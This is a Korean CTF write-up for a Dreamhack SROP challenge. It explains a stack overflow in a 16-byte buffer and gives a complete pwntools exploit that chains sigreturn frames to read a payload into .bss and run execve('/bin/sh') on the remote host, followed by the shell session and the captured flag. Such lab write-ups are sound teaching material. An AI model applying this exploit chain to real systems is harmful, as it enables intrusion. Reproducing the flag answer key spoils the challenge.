Description
Exploit Tech: SigReturn-Oriented Programming에서 실습하는 문제입니다.
SROP
컨텍스트 스위칭을 위해 사용하는 sigreturn 시스템 콜을 이용한 ROP 기법
execve 시스콜을 호출하기 전에
sigcontext 구조체에 정의된 레지스터의 순서를 고려하여 스택의 값을 써넣어야 된다.
/* __x86_64__: */ struct sigcontext { __u64 r8; __u64 r9; __u64 r10; __u64 r11; __u64 r12; __u64 r13; __u64 r14; __u64 r15; __u64 rdi; __u64 rsi; __u64 rbp; __u64 rbx; __u64 rdx; __u64 rax; __u64 rcx; __u64 rsp; __u64 rip; __u64 eflags; /* RFLAGS */ __u16 cs; __u16 gs; __u16 fs; union { __u16 ss; /* If UC_SIGCONTEXT_SS */ __u16 __pad0; /* Alias name for old (!UC_SIGCONTEXT_SS) user-space */ }; __u64 err; __u64 trapno; __u64 oldmask; __u64 cr2; struct _fpstate __user *fpstate; /* Zero when no FPU context */ # ifdef __ILP32__ __u32 __fpstate_pad; # endif __u64 reserved1[8]; };
pwntools에는 이러한 공격을 쉽게 만들어주기 위해 SigreturnFrame 클래스를 제공해준다.
checksec
iotfragile@iotfragile:~/CTF/SROP$ checksec --file ./srop [*] '/home/iotfragile/CTF/SROP/srop' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
srop (Decompiled src)
int __cdecl main(int argc, const char **argv, const char **envp) { char buf[16]; // [rsp+0h] [rbp-10h] BYREF read(0, buf, 0x400uLL); return 0; }
.text:00000000004004E7 public gadget .text:00000000004004E7 gadget proc near .text:00000000004004E7 ; __unwind { .text:00000000004004E7 push rbp .text:00000000004004E8 mov rbp, rsp .text:00000000004004EB pop rax .text:00000000004004EC syscall ; LINUX - .text:00000000004004EE retn .text:00000000004004EE gadget endp
Solution
- 지정된 buf 버퍼 크기가 16바이트이지만,
read 함수를 통해 0x400만큼 받을 수 있기 때문에 버퍼 오버플로우가 발생한다.
이를 이용해 rip를 pop rax; syscall 지점을 가리키는 0x4004EB 주소를 가리키게 만들고,
SYS_rt_sigreturn syscall 호출 번호인 15로 호출되게 만든다. - bss 영역에 0x1000만큼 read 함수로 읽어오도록 frame을 만들어 실행시킨다.
- read 함수로 읽어오는데, 여기에 execve(“/bin/sh”, 0, 0) 쉘을 띄울 수 있도록 페이로드를 작성해서 보낸다.
여기서 /bin/sh 그 앞의 페이로드 크기를 고려했을때 frame2.rdi = bss + 0x108 이어야 한다.
처음 frame에 rsp를 bss로 조작함으로써
buf에 작성된 payload에 연달아 read로 읽여들인 bss영역의 payload까지 실행이 이어진다고 보면 된다.
순서:
SYS_rt_sigreturn -> SYS_read -> SYS_rt_sigreturn -> SYS_execve
from pwn import * #context.log_level = 'debug' context(arch='amd64',os='linux') warnings.filterwarnings('ignore') #p = process('./srop') p = remote('host3.dreamhack.games', 13071) #.text:00000000004004EB pop rax #.text:00000000004004EC syscall ; LINUX - gadget = 0x4004EB syscall = gadget+1 SYS_rt_sigreturn = 15 bss = 0x601030 binsh = b"/bin/sh\x00" # read(0, bss, 0x1000) frame = SigreturnFrame() frame.rax = 0 # SYS_read frame.rsi = bss frame.rdx = 0x1000 frame.rdi = 0 frame.rip = syscall frame.rsp = bss payload = b"A"*24 payload += p64(gadget) payload += p64(SYS_rt_sigreturn) payload += bytes(frame) #pause() p.sendline(payload) #gdb.attach(p) #pause() # execve("/bin/sh", 0, 0) frame2 = SigreturnFrame() frame2.rip = syscall frame2.rax = 0x3b # execve frame2.rsp = bss + 0x500 frame2.rdi = bss + 0x108 payload = p64(gadget) payload += p64(SYS_rt_sigreturn) payload += bytes(frame2) payload += binsh #pause() print(len(payload)) p.sendline(payload) p.interactive()
Result
PS C:\Users\Seo Hyun-gyu\Downloads\87817090-b715-4893-b76a-9fb10e220b9b> python3 solve.py [x] Opening connection to host3.dreamhack.games on port 13071 [x] Opening connection to host3.dreamhack.games on port 13071: Trying 23.81.42.210 [+] Opening connection to host3.dreamhack.games on port 13071: Done ls flag srop cat flag DH{9bca8b793b7415a5452a4ba4f7945315e1a99a0d91c67ca27d45746f73f479b8}
FLAG
DH{9bca8b793b7415a5452a4ba4f7945315e1a99a0d91c67ca27d45746f73f479b8}